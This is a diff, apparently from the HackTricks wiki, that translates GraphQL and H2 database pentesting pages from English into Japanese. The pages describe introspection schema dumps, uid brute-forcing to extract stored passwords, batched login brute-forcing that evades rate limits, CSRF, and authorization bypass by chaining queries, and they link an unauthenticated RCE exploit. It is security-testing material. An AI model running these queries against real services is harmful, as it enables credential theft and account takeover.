+GraphQLエンドポイントは、スキーマの情報を提供するためにIntrospectionと呼ばれる機能を持っています。この機能を利用すると、データベースのスキーマを列挙することができます。 -**Enumerate Database Schema via Introspection** +以下のクエリを使用して、スキーマの情報を取得できます。 +```graphql +query { + __schema { + types { + name + } + } +} +``` + +このクエリをGraphQLエンドポイントに送信すると、データベースのスキーマに関する情報が返されます。これには、データベース内のすべての型の名前が含まれます。 + +この情報を使用して、データベースのスキーマを分析し、潜在的な脆弱性や攻撃の手がかりを見つけることができます。 ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` - -The last code line is a graphql query that will dump all the meta-information from the graphql (objects names, parameters, types...) +最後のコード行は、GraphQLからすべてのメタ情報(オブジェクト名、パラメータ、タイプなど)をダンプするGraphQLクエリです。 ![](<../../.gitbook/assets/image (206).png>) -If introspection is enabled you can use [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) to view in a GUI all the options. +もしintrospectionが有効になっている場合、[**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager)を使用してGUIですべてのオプションを表示することができます。 -### Querying +### クエリング -Now that we know which kind of information is saved inside the database, let's try to **extract some values**. +データベース内に保存されている情報の種類がわかったので、いくつかの値を**抽出**してみましょう。 -In the introspection you can find **which object you can directly query for** (because you cannot query an object just because it exists). In the following image you can see that the "_queryType_" is called "_Query_" and that one of the fields of the "_Query_" object is "_flags_", which is also a type of object. Therefore you can query the flag object. +introspectionで、**直接クエリを実行できるオブジェクト**(存在するだけではクエリできません)を見つけることができます。次の画像では、"_queryType_"が"_Query_"と呼ばれ、"_Query_"オブジェクトのフィールドの1つが"_flags_"であり、これもオブジェクトのタイプです。したがって、flagオブジェクトをクエリできます。 ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png) -Note that the type of the query "_flags_" is "_Flags_", and this object is defined as below: +クエリ"_flags_"のタイプが"_Flags_"であることに注意してください。このオブジェクトは以下のように定義されています: ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png) -You can see that the "_Flags_" objects are composed by **name** and .**value** Then you can get all the names and values of the flags with the query: - +"_Flags_"オブジェクトは**name**と**value**で構成されていることがわかります。したがって、次のクエリですべてのフラグの名前と値を取得できます: ```javascript query={flags{name, value}} ``` - -Note that in case the **object to query** is a **primitive** **type** like **string** like in the following example +注意してください。クエリする**オブジェクト**が次の例のように**文字列**などの**プリミティブな型**である場合は、次のようにクエリすることができます。 ![](<../../.gitbook/assets/image (441).png>) - -You can just query is with: - ```javascript query={hiddenFlags} ``` - -In another example where there were 2 objects inside the "_Query_" type object: "_user_" and "_users_".\ -If these objects don't need any argument to search, could **retrieve all the information from them** just **asking** for the data you want. In this example from Internet you could extract the saved usernames and passwords: +別の例では、"_Query_"タイプオブジェクト内に2つのオブジェクトがある場合があります: "_user_"と"_users_"。 +これらのオブジェクトは検索に引数が必要ない場合、欲しいデータを要求するだけで**それらからすべての情報を取得**することができます。このインターネットの例では、保存されたユーザー名とパスワードを抽出することができます。 ![](<../../.gitbook/assets/image (208).png>) -However, in this example if you try to do so you get this **error**: +しかし、この例ではそれを試みると、次の**エラー**が表示されます。 ![](<../../.gitbook/assets/image (210).png>) -Looks like somehow it will search using the "_**uid**_" argument of type _**Int**_.\ -Anyway, we already knew that, in the [Basic Enumeration](graphql.md#basic-enumeration) section a query was purposed that was showing us all the needed information: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +どうやら、何らかの方法で"_**uid**_"という名前の引数を使用して検索を行っているようです。 +とにかく、私たちはすでにそれを知っていました。[基本的な列挙](graphql.md#basic-enumeration)のセクションでは、必要なすべての情報を表示するクエリが提案されていました: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -If you read the image provided when I run that query you will see that "_**user**_" had the **arg** "_**uid**_" of type _Int_. +そのクエリを実行したときに提供された画像を読むと、"_**user**_"には型が_Int_の"_**uid**_"という**arg**があることがわかります。 -So, performing some light _**uid**_ bruteforce I found that in _**uid**=**1**_ a username and a password was retrieved:\ +したがって、軽い**uid**ブルートフォースを実行すると、_**uid**=**1**_でユーザー名とパスワードが取得されることがわかりました:\ `query={user(uid:1){user,password}}` ![](<../../.gitbook/assets/image (211).png>) -Note that I **discovered** that I could ask for the **parameters** "_**user**_" and "_**password**_" because if I try to look for something that doesn't exist (`query={user(uid:1){noExists}}`) I get this error: +注意してください。私は"_**user**_"と"_**password**_"の**parameters**を要求できることを**発見**しました。なぜなら、存在しないものを探そうとすると(`query={user(uid:1){noExists}}`)、次のエラーが表示されるからです。 ![](<../../.gitbook/assets/image (213).png>) -And during the **enumeration phase** I discovered that the "_**dbuser**_" object had as fields "_**user**_" and "_**password**_. +そして、**列挙フェーズ**中に、"_**dbuser**_"オブジェクトには"_**user**_"と"_**password**_"というフィールドがあることがわかりました。 -**Query string dump trick (thanks to @BinaryShadow\_)** +**クエリ文字列ダンプトリック(@BinaryShadow\_さんに感謝)** -If you can search by a string type, like: `query={theusers(description: ""){username,password}}` and you **search for an empty string** it will **dump all data**. (_Note this example isn't related with the example of the tutorials, for this example suppose you can search using "**theusers**" by a String field called "**description**"_). +もし、`query={theusers(description: ""){username,password}}`のように文字列型で検索できる場合、空の文字列で検索すると、すべてのデータが**ダンプ**されます。(_この例はチュートリアルの例とは関係ありません。この例では、"**theusers**"という名前のStringフィールドの"**description**"を使用して検索できると仮定します。_) -GraphQL is a relatively new technology that is starting to gain some traction among startups and large corporations. Other than missing authentication by default graphQL endpoints can be vulnerable to other bugs such as IDOR. +GraphQLは比較的新しい技術であり、スタートアップや大企業の間で徐々に注目を集めています。デフォルトでは認証が不足しているだけでなく、GraphQLエンドポイントはIDORなどの他のバグにも脆弱性があります。 -### Searching +### 検索 -For this example imagine a data base with **persons** identified by the email and the name and **movies** identified by the name and rating. A **person** can be **friend** with other **persons** and a person can **have movies**. - -You can **search** persons **by** the **name** and get their emails: +この例では、メールアドレスと名前で識別される**人物**と、名前と評価で識別される**映画**のデータベースを想像してください。**人物**は他の**人物**と**友達**になることができ、人物は**映画を持つ**ことができます。 +名前で人物を検索し、そのメールアドレスを取得することができます。 ```javascript { - searchPerson(name: "John Doe") { - email - } +searchPerson(name: "John Doe") { +email +} } ``` - -You can **search** persons **by** the **name** and get their **subscribed** **films**: - +あなたは名前で人を検索し、彼らが購読している映画を取得することができます。 ```javascript { - searchPerson(name: "John Doe") { - email - subscribedMovies { - edges { - node { - name - } - } - } - } +searchPerson(name: "John Doe") { +email +subscribedMovies { +edges { +node { +name +} +} +} +} } ``` +次に、人物の`subscribedMovies`の`name`を取得する方法が示されていることに注目してください。 -Note how its indicated to retrieve the `name` of the `subscribedMovies` of the person. - -You can also **search several objects at the same time**. In this case, a search 2 movies is done: - +また、**同時に複数のオブジェクトを検索する**こともできます。この場合、2つの映画を検索します。 ```javascript { - searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { - name - } +searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { +name +} }r ``` - -Or even **relations of several different objects using aliases**: - +または、**エイリアスを使用して複数の異なるオブジェクトの関係**もあります: ```javascript { - johnsMovieList: searchPerson(name: "John Doe") { - subscribedMovies { - edges { - node { - name - } - } - } - } - davidsMovieList: searchPerson(name: "David Smith") { - subscribedMovies { - edges { - node { - name - } - } - } - } +johnsMovieList: searchPerson(name: "John Doe") { +subscribedMovies { +edges { +node { +name +} +} +} +} +davidsMovieList: searchPerson(name: "David Smith") { +subscribedMovies { +edges { +node { +name +} +} +} +} } ``` +### ミューテーション -### Mutations +**ミューテーションは、サーバーサイドでの変更を行うために使用されます。** -**Mutations are used to make changes in the server-side.** - -In the **introspection** you can find the **declared** **mutations**. In the following image the "_MutationType_" is called "_Mutation_" and the "_Mutation_" object contains the names of the mutations (like "_addPerson_" in this case): +**インスペクション**では、**宣言されたミューテーション**を見つけることができます。次の画像では、"_MutationType_"が"_Mutation_"と呼ばれ、"_Mutation_"オブジェクトにはミューテーションの名前(この場合は"_addPerson_"など)が含まれています。 ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png) -For this example imagine a data base with **persons** identified by the email and the name and **movies** identified by the name and rating. A **person** can be **friend** with other **persons** and a person can **have movies**. - -A mutation to **create new** movies inside the database can be like the following one (in this example the mutation is called `addMovie`): +この例では、メールと名前で識別される**人物**と、名前と評価で識別される**映画**のデータベースを想像してください。**人物**は他の**人物**と**友達**になることができ、人物は**映画を持つ**ことができます。 +データベース内に**新しい映画**を作成するためのミューテーションは、次のようになります(この例ではミューテーションは`addMovie`と呼ばれています): ```javascript mutation { - addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { - movies { - name - rating - } - } +addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { +movies { +name +rating +} +} } ``` +**注意してください、クエリ内でデータの値と型が示されています。** -**Note how both the values and type of data are indicated in the query.** - -There may also be also a **mutation** to **create** **persons** (called `addPerson` in this example) with friends and files (note that the friends and films have to exist before creating a person related to them): - +また、**mutation**によって**persons**を**作成**することもあります(この例では`addPerson`と呼ばれます)。友達やファイルを持つ人物を作成する場合、友達やファイルは事前に存在している必要があります。 ```javascript mutation { - addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { - person { - name - email - friends { - edges { - node { - name - email - } - } - } - subscribedMovies { - edges { - node { - name - rating - releaseYear - } - } - } - } - } +addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { +person { +name +email +friends { +edges { +node { +name +email +} +} +} +subscribedMovies { +edges { +node { +name +rating +releaseYear +} +} +} +} +} } ``` +### 1つのAPIリクエストでバッチングブルートフォース -### Batching brute-force in 1 API request +この情報は[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)から取得されました。\ +**異なる認証情報を持つ多くのクエリを同時に送信**して認証するGraphQL API。これはクラシックなブルートフォース攻撃ですが、GraphQLのバッチング機能により、1つのHTTPリクエストに複数のログイン/パスワードペアを送信することが可能になりました。このアプローチにより、外部のレート監視アプリケーションはすべてが正常であり、パスワードを推測しようとするブルートフォースボットが存在しないと思わせることができます。 -This information was take from [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ -Authentication through GraphQL API with **simultaneously sending many queries with different credentials** to check it. It’s a classic brute force attack, but now it’s possible to send more than one login/password pair per HTTP request because of the GraphQL batching feature. This approach would trick external rate monitoring applications into thinking all is well and there is no brute-forcing bot trying to guess passwords. - -Below you can find the simplest demonstration of an application authentication request, with **3 different email/passwords pairs at a time**. Obviously it’s possible to send thousands in a single request in the same way: +以下に、アプリケーションの認証リクエストの最も単純なデモンストレーションを示します。**3つの異なるメール/パスワードペアを同時に**送信しています。もちろん、同じ方法で1つのリクエストに数千を送信することも可能です。 ![](<../../.gitbook/assets/image (182) (1).png>) -As we can see from the response screenshot, the first and the third requests returned _null_ and reflected the corresponding information in the _error_ section. The **second mutation had the correct authentication** data and the response has the correct authentication session token. +レスポンスのスクリーンショットからわかるように、最初と3番目のリクエストは_null_を返し、_error_セクションに対応する情報を反映しています。**2番目のミューテーションは正しい認証**データを持ち、レスポンスには正しい認証セッショントークンが含まれています。 ![](<../../.gitbook/assets/image (119) (1).png>) -## GraphQL Without Introspection +## イントロスペクションなしのGraphQL -More and more **graphql endpoints are disabling introspection**. However, the errors that graphql throws when an unexpected request is received are enough for tools like [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) to recreate most part of the schema. +**graphqlエンドポイントでのイントロスペクションの無効化**が増えています。ただし、graphqlが予期しないリクエストを受け取った場合にgraphqlがスローするエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)などのツールによってスキーマの大部分を再作成するのに十分です。 -Moreover, the Burp Suite extension [**GraphQuail**](https://github.com/forcesunseen/graphquail) extension **observes GraphQL API requests going through Burp** and **builds** an internal GraphQL **schema** with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info [**check this**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +さらに、Burp Suiteの拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、Burpを介して通過するGraphQL APIリクエストを**監視**し、新しいクエリごとに内部のGraphQL **スキーマ**を**構築**します。また、スキーマをGraphiQLとVoyagerに公開することもできます。この拡張機能は、イントロスペクションクエリを受け取った場合に偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用できるすべてのクエリ、引数、およびフィールドを表示します。詳細については、[**こちらを参照してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 -## CSRF in GraphQL +## GraphQLでのCSRF -If you don't know what CSRF is read the following page: +CSRFが何であるかわからない場合は、次のページを読んでください: {% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} [csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md) {% endcontent-ref %} -Out there you are going to be able to find several GraphQL endpoints **configured without CSRF tokens.** - -Note that GraphQL request are usually sent via POST requests using the Content-Type **`application/json`**. +そこでは、CSRFトークンなしで**構成されたいくつかのGraphQLエンドポイント**を見つけることができます。 +GraphQLリクエストは通常、Content-Type **`application/json`**を使用してPOSTリクエストで送信されます。 ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` - -However, most GraphQL endpoints also support **`form-urlencoded` POST requests:** - +ただし、ほとんどのGraphQLエンドポイントは**`form-urlencoded`のPOSTリクエスト**もサポートしています: ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` +したがって、前述のようなCSRFリクエストは**プリフライトリクエストなしで**送信されるため、CSRFを悪用してGraphQLで**変更**を行うことが可能です。 -Therefore, as CSRF requests like the previous ones are sent **without preflight requests**, it's possible to **perform** **changes** in the GraphQL abusing a CSRF. +ただし、Chromeの`samesite`フラグの新しいデフォルトクッキー値は`Lax`です。これは、クッキーがサードパーティのWebからのGETリクエストでのみ送信されることを意味します。 -However, note that the new default cookie value of the `samesite` flag of Chrome is `Lax`. This means that the cookie will only be sent from a third party web in GET requests. +また、**クエリリクエスト**も**GETリクエスト**として送信することができ、GETリクエストではCSRFトークンが検証されない場合があります。 -Note that it's usually possible to send the **query** **request** also as a **GET** **request and the CSRF token might not being validated in a GET request.** +また、[**XS-Search**](../../pentesting-web/xs-search.md) **攻撃**を悪用することで、ユーザーの資格情報を悪用してGraphQLエンドポイントからコンテンツを外部に漏洩させることが可能です。 -Also, abusing a [**XS-Search**](../../pentesting-web/xs-search.md) **attack** might be possible to exfiltrate content from the GraphQL endpoint abusing the credentials of the user. +詳細については、[**こちらの元の投稿**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)をご覧ください。 -For more information **check the** [**original post here**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). +## GraphQLにおける認証 -## Authorization in GraphQL +エンドポイントで定義された多くのGraphQL関数は、リクエスターの認証のみをチェックし、認可は行いません。 -Many GraphQL functions defined on the endpoint might only check the authentication of the requester but not authorization. - -Modifying query input variables could lead to sensitive account details [leaked](https://hackerone.com/reports/792927). - -Mutation could even lead to account take over trying to modify other account data. +クエリの入力変数を変更することで、機密のアカウント詳細が[漏洩](https://hackerone.com/reports/792927)する可能性があります。 +ミューテーションは、他のアカウントデータを変更しようとしてアカウント乗っ取りにつながる可能性さえあります。 ```javascript { - "operationName":"updateProfile", - "variables":{"username":INJECT,"data":INJECT}, - "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" +"operationName":"updateProfile", +"variables":{"username":INJECT,"data":INJECT}, +"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` +### GraphQLにおける認証のバイパス -### Bypass authorization in GraphQL +[クエリのチェーン](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)を使用すると、弱い認証システムをバイパスできます。 -[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) together can bypass a weak authentication system. - -In the below example you can see that the operation is "forgotPassword" and that it should only execute the forgotPassword query associated with it. This can be bypassed by adding a query to the end, in this case we add "register" and a user variable for the system to register as a new user. +以下の例では、操作が「forgotPassword」であり、それに関連するforgotPasswordクエリのみが実行されるはずです。これは、末尾にクエリを追加することでバイパスできます。この場合、"register"というクエリと、新しいユーザーとして登録するためのユーザー変数を追加します。
-## Leaked GraphQL Structures - -If introspection is disabled, try looking at the website source code. The queries are often pre loaded into browser as javascript libraries. These prewritten queries can reveal powerful information about the schema and use of each object and function. The `Sources` tab of the developer tools can search all files to enumerate where the queries are saved. Sometimes even the administrator protected queries are already exposed. +## 漏洩したGraphQLの構造 +インロスペクションが無効になっている場合は、ウェブサイトのソースコードを確認してみてください。クエリはしばしばブラウザに事前に読み込まれたJavaScriptライブラリとして存在します。これらの事前に書かれたクエリは、各オブジェクトと関数のスキーマと使用方法について強力な情報を明らかにすることがあります。開発者ツールの`Sources`タブでは、クエリが保存されている場所を列挙するためにすべてのファイルを検索できます。時には、管理者保護されたクエリさえも既に公開されていることがあります。 ```javascript Inspect/Sources/"Search all files" file:* mutation file:* query ``` +## ツール -## Tools +### 脆弱性スキャナー -### Vulnerability scanners +* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): スキーマを取得し、機密データを検索し、認証をテストし、スキーマをブルートフォース攻撃し、指定されたタイプへのパスを見つけるために使用できるツールキット。 +* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): スタンドアロンまたは[Burp拡張](https://github.com/doyensec/inql)として使用できます。 +* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLIクライアントとしても使用でき、攻撃を自動化するためにも使用できます。 +* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): GraphQLスキーマ内の特定のタイプに到達するさまざまな方法をリストするツール。 -* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit that can be used to grab schemas and search for sensative data, test authorization, brute force schemas, and find paths to a given type. -* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Can be used as standalone or [Burp extension](https://github.com/doyensec/inql). -* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Can be used as a CLI client also to automate attacks -* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Tool that lists the different ways of reaching a given type in a GraphQL schema. +### クライアント -### Clients +* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUIクライアント +* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUIクライアント -* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI client -* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI Client - -### Automatic Tests +### 自動テスト {% embed url="https://graphql-dashboard.herokuapp.com/" %} -* Video explaining AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) +* AutoGraphQLの説明ビデオ: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) -## References +## 参考文献 * [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/) * [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) @@ -376,10 +362,10 @@ file:* query ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/network-services-pentesting/pentesting-web/h2-java-sql-database.md b/network-services-pentesting/pentesting-web/h2-java-sql-database.md index 30de345fe..176485900 100644 --- a/network-services-pentesting/pentesting-web/h2-java-sql-database.md +++ b/network-services-pentesting/pentesting-web/h2-java-sql-database.md @@ -1,51 +1,51 @@ -# H2 - Java SQL database +# H2 - Java SQL データベース
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)**に PR を提出してください。
-Official page: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html) +公式ページ:[https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html) -### Tricks +### トリック -You can indicate a **non-existent name a of database** in order to **create a new database without valid credentials** (**unauthenticated**): +**存在しないデータベース名**を指定することで、**有効な資格情報なしで新しいデータベースを作成**することができます(**非認証**): ![](<../../.gitbook/assets/image (258).png>) -Or if you know that for example a **mysql is running** and you know the **database name** and the **credentials** for that database, you can just access it: +または、例えば**mysql が実行されている**ことを知っていて、そのデータベースの**データベース名**と**資格情報**を知っている場合、単にアクセスすることができます: ![](<../../.gitbook/assets/image (259).png>) -_**Tricks from box Hawk of HTB.**_ +_**HTB の Hawk ボックスからのトリック**_ -### **Unauthenticated RCE** +### **非認証 RCE** -You can find the exploit here [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) +ここでエクスプロイトを見つけることができます:[https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram 